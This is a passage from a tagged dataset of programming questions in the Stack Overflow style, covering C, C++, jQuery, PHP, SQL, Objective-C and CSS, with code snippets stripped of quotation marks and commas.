0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 0 0 0 0 0}       {0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}       {0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}       {0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}      {0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}       {0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}       {0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}       {0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}       {0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}      {0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}       {0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}       {0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}       {0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}       {0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}      };      int its;     int i  j;     int disparos_pos[10] = {1  5  14  22  37  48  43  40  28  19};     char disparos_dir[10]= { i   i   d   i   d   d   i   d   d   i };     int mataux[50][50];     for (i = 0; i &lt; 50; i++) {         for (j = 0; j &lt; 50; j++) {             mataux[i][j] = tabla[i][j];         }     }     int matsuma[50][50];     for (its = 0; its &lt; 10; its++) {         int pos = disparos_pos[its];         int dir = disparos_dir[its];         i = 0;         j = pos;         int cont = 49;         while (i &lt; 49) {             if (mataux[i+1][j] == 0) {                 mataux[i+1][j] = cont;                 ++i;             }             else {                 if (dir ==  i ) {                     if (mataux[i+1][j] != 0) {                         if (mataux[i][j-1] == 0) {                             mataux[i][j-1] = cont;                             --j;                         }                         else {                             dir =  d ;                         }                     }                 }                 if (dir ==  d ) {                     if (mataux[i+1][j] != 0) {                         if (mataux[i][j+1] == 0) {                             mataux[i][j+1] = cont;                             ++j;                         }                         else {                             dir =  i ;                         }                     }                 }             }         }          if (its == 0) {             int m  n;             for (m = 0; m &lt; 50; m++) {                 for (n = 0; n &lt; 50; n++) {                     matsuma[m][n] = mataux[m][n];                 }             }         }         if (its &gt; 0) {             int p  q;             for (p = 0; p &lt; 50; p++) {                 for (q = 0; q &lt; 50; q++) {                                     if (mataux[p][q] == 49) {                         if (matsuma[p][q] &gt;= 49) {                             matsuma[p][q] = matsuma[p][q]+1;                         }                     }                 }             }         }     }      printsimulaciodeu(matsuma); } </code></pre>   i thought that one possibility is that the memory for the process is complete and therefore not iterate correctly  is that possible     please help  i need it to work well for college work.,c
replace characters in string up to a specific character. jquery  i have a string:     category / card     what i want to do is to transform that string into  card     so basically i m deleting everything up until and including the  /  character.    how do i do that,jquery
objective-c: creating a file purely for holding variables  i would like to add a file to my project  who s sole purpose would be to hold an array.  i would then <code>#import</code> this file wherever i need to add/get from the array.    my problem is that when i create a new file (i m using xcode 4)  i m not sure what type of template to choose  and then what subclass to choose.    my reason for doing all of this is because i have a splitview-based app  and one of the views has a textfield  where i am trying to output data.  my problem is that whenever i switch to a different view and then switch back  only the most recent entry is there.  i am not 100% why that is but i suspect it is because when i switch to a different view  the current view is forgotten about  along with the variables in it.,objective-c
uiactionsheet customization  <img src= https://i.stack.imgur.com/drohw.png  alt= alt text >    can we change the order in which the destructive button and other buttons appear in an uiactionsheet. by default the destructive button (red colored) appears above other buttons  in my app i would like the other buttons to appear above the destructive button.,iphone
get position from specific position to end window  hi all  how i can get position from specific position to end window (browser) dynamic,javascript
strcmp() function not working properly <pre><code>ifstream myfile;//file reading mode myfile.open( file2.txt );//file opened       if(!myfile)     {               cout&lt;&lt; your file cannot be opened ;     }         for(;!myfile.eof();)         {                 myfile&gt;&gt;name&gt;&gt;salary&gt;&gt;concerned_department;                 cout&lt;&lt;name&lt;&lt; \t &lt;&lt;salary&lt;&lt; \t &lt;&lt;concerned_department&lt;&lt; \n ;                          }             do             {                cout&lt;&lt; to search an employee please enter the name of the employee&lt;&lt; \n ;                 cin&gt;&gt;empname;//will take the string from the user.                 cout&lt;&lt;empname&lt;&lt; \n ;                                     ifstream myfile;//file reading mode                                     myfile.open( file2.txt );//file opened successfully                          if(strcmp(name  empname )==0)//here the main problem lies                              {                             myfile&gt;&gt;name&gt;&gt;salary&gt;&gt;concerned_department;                             cout&lt;&lt;name&lt;&lt; \t &lt;&lt;salary&lt;&lt; \t &lt;&lt;concerned_department&lt;&lt; \n ;                          }                         else                         {//                             cout&lt;&lt; error  could not be compared &lt;&lt; \n ;                         }                             cout&lt;&lt; do you want to continue (y/n) ;                             cin&gt;&gt;con;             }              while(con== y ); </code></pre>   the strcmp() function is not comparing the strings though given. string1 is given in the file whereas the string2 is being taken from the user.,c++
reverse an array without affecting special characters  is it possible to reverse an array without affecting the special characters   by special characters  i mean anything characters not included from  a  to  z  and  a  to  z . i am short of ideas to build the algorithm  i still haven t it figured out.,c++
rearranging div tags within one another  i want to rearrange the div tags (shown below) between one another. how can i do that    <pre><code>&lt;div class= wrap &gt;     &lt;div class= box &gt;         this has less height     &lt;/div&gt;     &lt;div class= box &gt;         this has more height     &lt;/div&gt;     &lt;div class= box &gt;         this has less height.     &lt;/div&gt; &lt;/div&gt; </code></pre>,css
define function to be used by jquery plugin  i have the following markup (<a href= https://plnkr.co/edit/jru5funfkvdojzl46tuv p=preview  rel= nofollow noreferrer >plunker example</a>):   <pre><code>&lt;div class= slides &gt;         &lt;div class= slide  id= slide-01 &gt;     &lt;img src=     &lt;/div&gt;   &lt;div class= slide  id= slide-02 &gt;     slide 02 content   &lt;/div&gt;   &lt;ul class= navigation &gt;     &lt;li&gt;&lt;a href= #slide-01 &gt;&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= #slide-02 &gt;&lt;/a&gt;&lt;/li&gt;   &lt;/ul&gt;       &lt;/div&gt; </code></pre>   i am creating a simple slider plugin:   <pre><code>$( div.slides ).slider(); </code></pre>   that would work as follows:   <ol> <li> add  active  class to first slide and first anchor in navigation; </li> <li> after 8 seconds change active class to next slide and next anchor; so in this case i want to show the next slide and hide the previous one. </li> <li> if an anchor is clicked in the navigation shows the slide which id is the same as the value in href of the anchor minus the #. </li> </ol>   basically that is it ... so i tried the following:   <pre><code>$(function () {    $( div.slides ).slider();  });  (function ($) {    $.fn.slider = function (options) {      var defaults = {       delay: 800        speed: 200     };      var options = $.extend({}  defaults  options);      $(this).each(function () {        var $this = $(this);        var $items = $this.children( div.slide );        var $pages = $this.children( ul.pager li a );        $items.first().addclass( active );        $pages.first().addclass( active );        var timer;        start();        $pages.on( click   function (e) {                  e.preventdefault();          console.log( here );          show(this.attr( href ).replace( #     ));                  });              var start = function start() {         timer = settimeout(next  8000);       };        var stop = function stop() {         cleartimeout(timer);       };              var next = function next() {         var item = $items.find( .active ).next();                 if (!item.length)           item = $items.find( .active ).first();         show(item.attr( id ));         };        var show = function show(id) {          if ( #  + id == $this.children( ul.pager li a.active ).attr( href ))            return;          cleartimeout(timer);          $items.removeclass( active ).hide();          $items.find( #id ).first().addclass( active ).fadein( slow );          $pages.removeclass( active );          $pages.find( a[href*=  + id +  ] ).first().addclass( active );          start();        }; // show      });      return this;    };  })(jquery); </code></pre>   i am having a few problems to make this work. one is that i get the error:   <pre><code>jquery.deferred exception: start is not a function $.fn.slider </code></pre>   this happens to all my functions ...,jquery
hyperlink around image in html  but not clickable in browser  <strong><a href= http://starterpad.com/blog/  rel= nofollow >http://starterpad.com/blog/</a></strong>   <pre><code>&lt;div id= logo &gt;     &lt;a href= http://starterpad.com/blog/ &gt;&lt;img src= http://starterpad.com/blog/wp-content/uploads/2014/11/copy-starterpad-logo-new.png  height= 61  width= 321  alt= starterpad blog &gt;&lt;/a&gt; &lt;/div&gt; </code></pre>   as you can see  there s an <code>&lt;a href&gt;</code> tag around the <code>&lt;img&gt;</code> tag for the logo.  but in a browser (tried several) the logo image isn t clickable.    any ideas why not,html
how can i move image on z-axis by using accelerometer   my image is moving in tw0 directions. x and y axis  how can i move image in z direction,iphone
set max and min of tranform:tranlate3d(x y z) values css  is there anyway to set the max and the min values of x  y  z  of <code>tranform:tranlated3d</code> in css      thank you!,css
how to solve php redirection issue <pre><code>&lt; php /* subject and email varialbles*/  $emailsbuject =  subscribe ; $webmaster =  help@intaxfin.com ; $emailsbuject2 =  thank you ; $client =   $emailfeild\r\n ; /*gathering data variables*/  $emailfeild = $_post[ email ];  // admin message body $body= &lt;&lt;&lt;eod our new subscriber is $emailfeild  email: $emailfeild  eod;  $textmessage = &lt;&lt;&lt;eod          thank you for subscribing us. somebody will get back to you as soon as possible.  eod;     $headers =  from: $emailfeild\r\n ;     $header =  from: $noreply@example.com ;     $success = mail($webmaster $emailsbuject $body $headers);     $success1 = @mail($emailfeild $emailsbuject2 $textmessage $header);     /*result*/       $theresults = &lt;&lt;&lt;eod eod;  echo   $theresults ;  header( location: http://www.example.com/ ); exit;  &gt; </code></pre>   i have lots of html pages under every page. i have a text box and button with a php script associated with it.    my problem is whenever i put my email id and clicks that button it will redirect me to the home page which is www.example.com. i want to stay to that exact page.,php
pulling sql column names for a table  is there a way to write a query in sql that will return the column names for the table       e.g. if table foo had columns bar and baz  this query would return 2 rows with  bar  and  baz  in them.,sql
improve sql query that contains multiple sub queries  i have an sql query scenario i have run into a few times  the output is correct but i was wondering if there is a better way to do it as it feels like i repeat the same formula to many times and run too many sub queries   <pre><code> select s.stockid   -- these are all repeated - can i get all values in 1 query  isnull((select top 1 cost from stockcosts sc where sc.disabled = 0 and sc.stockid = s.stockid and chargetype = 1) 0) as vendorrecovery  isnull((select top 1 cost from stockcosts sc where sc.disabled = 0 and sc.stockid = s.stockid and chargetype = 2) 0) as vendorcommission   --these bottom 3 are to get the totals  again repeated statements  (select sum(cost) from stockcosts sc where sc.disabled = 0 and sc.stockid = s.stockid ) as vendorchargesnet  (select (sum(cost) / 100) * st.vatrate from stockcosts sc where sc.disabled = 0 and sc.stockid = s.stockid ) as vendorchargesvat  (select sum(cost) + (sum(cost) / 100) * st.vatrate from stockcosts sc where sc.disabled = 0 and sc.stockid = s.stockid ) as vendorchargestotal  from saletrans st  inner join stock s on st.stockid = s.stockid  </code></pre>,sql
form validation boo boo  the following is a jquery script that i have build for form validation.    i am no expert at jquery so i am almost certain there is a better way of doing this  but thats not really my question.    in the code i am basically looping through fields and updating the  required  var to true or false. this i have come to see is terribly flawed.  for instance  if i have a set of fields with the class  required   then an  email   then a  checkbox .  even if all the required are empty  but the email and checkbox are checked/filled then it will pass validation.    my question is  how on earth can i run a validation script like this  but somehow remember the  required  var for each group and then pass any  false  value onto the return at the end of the script    <pre><code>var required = true;      $( form ).submit(function(e) {         $( .required-prompt   this).remove();         $( .required   this).each(function() {             if( !$(this).val() ) {                 $(this).after(prompt);                 required = false;             } else {                 $( .required-prompt   this).remove();                 required = true;             }         });         $( .email   this).each(function() {             if( !email.test($(this).val()) ) {                 $(this).after(promptemail);                              required = false;             } else {                 $( .required-prompt   this).remove();                 required = true;             }         });         $( .checkbox   this).each(function() {             if( !$(this).is( :checked ) ) {                 $(this).parent().after(promptother);                                 required = false;             } else {                 $( .required-prompt   this).remove();             }         });          var handled = [];         $( .radio ).each(function() {             var radioname = $(this).attr( name );             if( $.inarray(radioname  handled) == -1 ) {                 if (!$( input[name= +radioname+ ]:checked ).val()) {                     $( input[name= +radioname+ ]:last ).parent().after(promptother);                     required = false;                 }                 else {                     $( .required-prompt   this).remove();                 }                 handled.push(radioname);                         }         });      return required;     }); </code></pre>   thank you.,jquery
angularjs check or word exist on url  my goal is get true on angularjs controller if url with #how <code>htttp://www.example.com#how</code> or false if url without #how <code>htttp://www.example.com</code>.    <pre><code>webapp.controller( ctrl  function($scope){  $scope.showhow =    ; // if url with #how == true else false ... </code></pre>,angularjs
text field validation. validate first characters. ios  i m validating a text field but i need first 4 characters only. how can i get only those characters and not a full text.  thanks,ios
javascript is not working if i add dynamic script tag  i want to add dynamic javascript tag on the body   <pre><code>window.onload = function() {      var e = document.createelement( span );      e.innerhtml = &lt;script type= text/javascript &gt;alert( hello );&lt;/script&gt; ;      document.body.insertbefore(e document.body.childnodes[0]);                 } </code></pre>   in the above example the javascript which is being loaded using innerhtml is not working    is there any workaround for this problem,javascript
printing to file using gecode  i am doing a gecode project and the code should output a file which looks like the following:   <pre><code>n: 17 x: {0  0  16  18  17  31  32  0  34  10  30  37  38  30  30  10} y: {0  27  28  14  0  31  20  17  11  17  0  0  6  7  11  25} s: 43 runtime: 0.137 failure: 127 </code></pre>   the above is an example of what the code should output. i have tried to do the following code:   <pre><code>virtual void print(std::ostream&amp; os) const {     string filename =  project1-t15-n  + n +  .txt ;      ofstream myfile;     myfile.open (filename);      myfile &lt;&lt;  n:   &lt;&lt; n &lt;&lt; std::endl;     myfile &lt;&lt;  x: { ;     for (int i = 0; i &lt; x.size(); i++) {         if (i != 0) {             myfile &lt;&lt;     ;         }         myfile &lt;&lt; x[i];     }     myfile &lt;&lt;  }  &lt;&lt; std::endl;     myfile &lt;&lt;  y: { ;     for (int i = 0; i &lt; y.size(); i++) {         if (i != 0) {             myfile &lt;&lt;     ;         }         myfile &lt;&lt; y[i];     }     myfile &lt;&lt;  }  &lt;&lt; std::endl;     myfile &lt;&lt;  s:   &lt;&lt; s &lt;&lt; std::endl;      //                                 print runtime and failures      myfile.close(); } </code></pre>   i know that n  s  x and y are correct  but i have two questions:    1: is <code>print(std::ostream&amp; os) const</code> the correct usage when printing to a file     2: how can you get runtime and failures from the gecode output  their build in print function does this.,c++
getting warning when compiling lisp interperater in c  i keep getting a uses gets() warning when trying to compile my interperater and nothing is outputing in the terminal. i changed gets() to fgets() as well but still its not outputing anything and gives me an error:   <pre><code>$ ./littlelisp  warning: this program uses gets()  which is unsafe. 5.000000 littlelisp.c:16:18: error: too few arguments to function call  expected 3  have 1         while (fgets(str) &amp;&amp; strcmp(str    )) {                ~~~~~    ^ /usr/include/stdio.h:238:1: note:  fgets  declared here char    *fgets(char * __restrict  int  file *); ^ 1 error generated. make: *** [littlelisp] error 1 $ make littlelisp cc     littlelisp.c   -o littlelisp littlelisp.c:16:18: error: too few arguments to function call  expected 3  have 1         while (fgets(str) &amp;&amp; strcmp(str    )) {                ~~~~~    ^ /usr/include/stdio.h:238:1: note:  fgets  declared here char    *fgets(char * __restrict  int  file *); ^ 1 error generated. make: *** [littlelisp] error 1 </code></pre>   any idea whats going on     here is the gist:    <a href= https://gist.github.com/rahul1346/8596118b834ecf41b1d9  rel= nofollow >https://gist.github.com/rahul1346/8596118b834ecf41b1d9</a>,c
deprecated: function ereg_replace() is deprecated <blockquote>    deprecated: function ereg_replace() is deprecated in /home/hjlhvqyy/public_html/fastseoindia/klib/k_functions_text.php on line 114  </blockquote>   the code is below:   <pre><code>$value = ereg_replace( [ ]{2 }      $value); // line 114 </code></pre>   please  help me and give me a real code. i can t understand the full code  that s why i post my own question to get direct answer  because i can t make my own code to see the examples.    so  help me...,php
issues creating a table from a select statement mysql  i m trying to create a new <code>mysql</code> from a <code>select</code> statement:   <pre><code>   create table site_database as(select database_id  name  description  site_id from sitematrix_databases inner join site     matrix_site_databases on sitematrix_site_databases.database_id = sitematrix_data     bases.database_id); </code></pre>   when i execute the <code>select</code> statement  i get:   <pre><code>+-------------+--------+-------------+-------------+---------+ | database_id | name   | description | database_id | site_id | +-------------+--------+-------------+-------------+---------+ |           5 | tc2007 |             |           5 |       1 | |           5 | tc2007 |             |           5 |       8 | |           5 | tc2007 |             |           5 |       9 | |           5 | tc2007 |             |           5 |      12 | |           5 | tc2007 |             |           5 |      14 | +-------------+--------+-------------+-------------+---------+ </code></pre>   however  when i try to create the table  i get:   <pre><code>error 1052 (23000): column  database_id  in field list is ambiguous </code></pre>   how can i solve this problem,mysql
why can t we use bitwise operators on float & double data types  i am new to c  &amp; here i am trying to print the values stored in float &amp; double variables in the way they are stored in memory. but compiler is not allowing me to use bitwise operators on float &amp; double variables!  i want to know why we can t use bitwise operators like  &amp;  and  |  operators on float &amp; double data types  &amp; what happens if somehow we could use it   are they any alternative methods or can we bypass such issues     here is the code i tried to work on    <pre><code>int main() {  float valf = 10;  double vald = 10;      printf( \n\t%i\t%li\n  vali sizeof(valf));            for(i = 8*sizeof(valf); i &gt;= 0 ; i--)  {  printf( %i  (valf &amp; (1&lt;&lt;i))  1 : 0);  }   printf( \n\t%i\t%li\n  vald sizeof(vals));   for(i = 8*sizeof(vald); i &gt;= 0 ; i--) {  printf( %i  (vald &amp; (1&lt;&lt;i))  1 : 0);  }  } </code></pre>,c
removal of food in cart  but certain foods are not removing  why  here is my main:   <pre><code>int main() {   inventory master;   bool flag;   customer bob( bob    creditcard.txt );   customer joe( joe    creditcard.txt  );      master.firststock(  inventory.txt  );   vector&lt;food&gt; temp = master._inv;   cout &lt;&lt; hi  what would you like to buy today   &lt;&lt; endl;   for(unsigned int i=0; i&lt;temp.size(); i++ ) {     cout &lt;&lt; temp[i].name &lt;&lt;     &lt;&lt; temp[i].quant &lt;&lt;     &lt;&lt; temp[i].price &lt;&lt; endl;   }    cout &lt;&lt; \n ;   food apple( apples   .99  10);   food orange( oranges   .99  10);   food chip( chips   3.00  10);    cout &lt;&lt; \nhi bob  &lt;&lt; endl;   flag = bob.addcart(apple  7  &amp;master);   cout &lt;&lt; bob s total purchases are currently: \n ;   bob.report();   flag = bob.addcart(orange  2  &amp;master);   flag = bob.addcart(chip  2  &amp;master);   bob.report();   flag = bob.removecart();    bob.report();   cout &lt;&lt; bob   ;   flag = bob.checkout(&amp;master); </code></pre>   here is the following i implemented to remove food from my vector _cart:   <pre><code>bool customer::removecart() {   bool flag;   int q = 0;   unsigned int i=0;   string remove;    cout &lt;&lt;  \nwhat would you like to remove and how much would you like to remove   &lt;&lt; endl;   cin &gt;&gt; remove &gt;&gt; q;  for (i =0; i &lt; _cart.size(); i++) {   if(remove == _cart[i].name) {       if (q &gt;= 0) {     _cart[i].quant -= q;     //inv-&gt;_inv[i].quant += q;     cout &lt;&lt; \nyou removed   &lt;&lt; q &lt;&lt;     &lt;&lt; remove &lt;&lt;  in your cart\n  &lt;&lt; endl;     return true;       }       if  (q &lt; 0) {           cout &lt;&lt;  invalid number of   &lt;&lt; remove &lt;&lt;   being removed.\n  &lt;&lt; endl;           return true;       }   }   else {         try {     throw remove; }    catch (string param) {     cout &lt;&lt;  \n  &lt;&lt; remove &lt;&lt;   doesn t exist in your cart\n  &lt;&lt; endl;         }          return true;     }  } </code></pre>   my header containing the the function removecart:   <pre><code>class customer {   public:     customer(string n  string filename);     ~customer() { _cart.clear(); };     bool addcart(food f  int q  inventory* inv);     bool removecart();     void report();      bool checkout(inventory* inv);    protected:     string remove;     string name;     int q;     int card;     double balance;     creditcard _cc(int card double balance);     vector&lt;food&gt; _cart; }; </code></pre>   now for some reason when i call removecart  entering  apples  works but i noticed i made a food object called apple so not sure why typing  apples  works for being removed instead of  apple . also when i try  orange  or  chip  the exception is shown but as you can see in main i added chip and orange to bob s cart. i have even tried  oranges  and  chips  and it still throws me the exception instead of working. i could appreciate the help.,c++
c reading text file  i want to read a text file that contains id numbers and names and print those informations line by line. i wrote codes below but output is empty. i cannot find out why it didn t work.    text file (firms.txt):    <blockquote>    101 eti300 superfresh502 pinar91 banvit  </blockquote>   code:   <pre><code>#include &lt;stdio.h&gt;  //prototypes void readfirms(char *filename);  int main(void) {      readfirms( c:\\users\\hakan\\desktop\\firms.txt );  }  void readfirms(char *filename) {     file *firmfileptr;      if ((firmfileptr = fopen(filename   r )) == null) {         puts( file could not be opened. );     } else {         unsigned int firmid;         char *firmname;          fscanf(firmfileptr   %d%s   &amp;firmid  firmname);          while (!feof(firmfileptr)) {             printf( %d %s\n   firmid  *firmname);             fscanf(firmfileptr   %d %s   &amp;firmid  firmname);         }         fclose(firmfileptr);     } } </code></pre>,c
removing backslashed substring from string  i have a list of substrings that needs to be removed from a string.    i have a blacklist of substrings that needs to be removed from the string when they occur in certain patterns.    here s my code:   <pre><code>blacklist = [ bad   bye   hello ] mystring =  a\hello\hi\this_bye\end\my_bad.c   for i in blacklist:     mystring = mystring.replace( \\ +i   ).replace( _ +i   ) </code></pre>   but now this code returns mystring s value as    <pre><code> a\\hello\\hi\\this_bye\\end\x08ad   </code></pre>   instead of   <pre><code> a\hi\this\end\my.c  </code></pre>   can someone please tell me what is wrong  thanks in advance.,python
nscopying & inheritance  please have a look on following code :------- .h   <pre><code>@interface bankaccount : nsobject&lt;nscopying&gt; {     double accountbalance;     long accountnumber;     nsstring *customername;     nsstring *accounttype; }  -(void) setaccount: (long) y andbalance: (double) x; -(void) setcustomername: (nsstring*) name andaccounttype: (nsstring*) type; -(id)copywithzone:(nszone *)zone;  @end  @interface savings : bankaccount {     int number;     nsstring *offer; } -(void) setsavingnumber: (uint8_t) num andoffer: (nsstring*) offer; -(id)copywithzone:(nszone *)zone; @end </code></pre>   ---------- .m   <pre><code>@implementation bankaccount  -(void) setaccount: (long) y andbalance: (double) x {     accountnumber = y;     accountbalance = x; } -(void) setcustomername: (nsstring*) name andaccounttype: (nsstring*) type {     customername = name;     accounttype = type; }  -(id)copywithzone:(nszone *)zone {     bankaccount *accountcopy = [[bankaccount allocwithzone: zone] init];     [accountcopy setaccount: accountnumber andbalance: accountbalance];     [accountcopy setcustomername:customername andaccounttype:accounttype];     return accountcopy; }  @end  @implementation savings -(void) setsavingnumber: (uint8_t) num andoffer: (nsstring*) offer {     number = num;     offer = offer; }  -(id)copywithzone:(nszone *)zone {     savings * clone = [super copywithzone:zone];     [clone setsavingnumber:number andoffer:offer];************** error *********     return clone; }  @end </code></pre>   when run this code::::::   <pre><code>savings* account1; savings* account2;  account1 = [[savings alloc] init]; [account1 setaccount:10 andbalance:1000.10]; [account1 setcustomername:[nsstring stringwithformat:@ %@  @ deepak ] andaccounttype:[nsstring stringwithformat:@ %@  @ savings ]]; [account1 setsavingnumber:2001 andoffer:@ bad ];     account2 = [account1 copy]; </code></pre>  #   i dont know what is wrong with the code please help me. thanks in advance.    thanks  deepak,objective-c
jquery to remove class from sibling s elements  each row has 3 images but one of those 3 images have a class active.   <pre><code>.active{border: 1px solid red;} </code></pre>   active image has border around it (by class active). two images have np border (class empty)    all i want  onclick remove the border from currently active image and add to the one that is clicked.    i tried  all of these none worked:   <pre><code>$( #  + clkdimgid +   img ).parent().children( .active ).removeclass( active ); // fails; $( #  + clkdimgid +   img ).siblings().find( img.active ).hide(); //fails $( #  + clkdimgid +   img ).closest( .active ).removeclass( active );//fails $( #  + clkdimgid +   img ).closest( .image ).children( .active ).hide();//fails $( #  + clkdimgid +   img ).closest( img.active ).removeclass( active );//fails $( #  + clkdimgid +   img ).closest( .active ).hide();//fails   function setbrder(rowid  imgid) {   var clkdimgid =  img  + rowid + imgid;//this gives me img12  img13 etc correctly    //set class on the clicked    $( #  + clkdimgid +   img ).addclass( active );// this works  $( #  + clkdimgid +   img ).parent().children( .active ).removeclass( active ); // fails;     $( #  + clkdimgid +   img ).siblings().find( img.active ).hide(); //fails     $( #  + clkdimgid +   img ).closest( .active ).removeclass( active );//fails     $( #  + clkdimgid +   img ).closest( .image ).children( .active ).hide();//fails     $( #  + clkdimgid +   img ).closest( img.active ).removeclass( active );//fails     $( #  + clkdimgid +   img ).closest( .active ).hide();//fails  }   htmls:  &lt;table&gt;&lt;tr&gt;&lt;td&gt;                         &lt;div id= img11  class= image &gt;                             &lt;img class= active  src= .. &gt; &lt;- remove this .active                         &lt;/div&gt;                         &lt;div id= img12  class= image &gt;                             &lt;img class=   src= .. &gt;       &lt;- add here if this clicked                             &lt;div onclick= setbrder( 1   2);  class= overlay &gt;set&lt;/div&gt;                         &lt;/div&gt;                         &lt;div id= img13  class= image &gt;                             &lt;img class=   src= .. &gt;                                 &lt;div onclick= setbrder( 1   3);  class= overlay &gt;set&lt;/div&gt;                         &lt;/div&gt;                     &lt;/td&gt;&lt;/tr&gt;     &lt;tr&gt;&lt;td&gt;                         &lt;div id= img11  class= image &gt;                             &lt;img class=   src= .. &gt;                             &lt;div onclick= setbrder( 2   1);  class= overlay &gt;set&lt;/div&gt;                         &lt;/div&gt;                         &lt;div id= img12  class= image &gt;                             &lt;img class= active  src= .. &gt;                                                 &lt;/div&gt;                         &lt;div id= img13  class= image &gt;                             &lt;img class=   src= .. &gt;                                 &lt;div onclick= setbrder( 2   3);  class= overlay &gt;set&lt;/div&gt;                         &lt;/div&gt;                     &lt;/td&gt;&lt;/tr&gt; </code></pre>,jquery
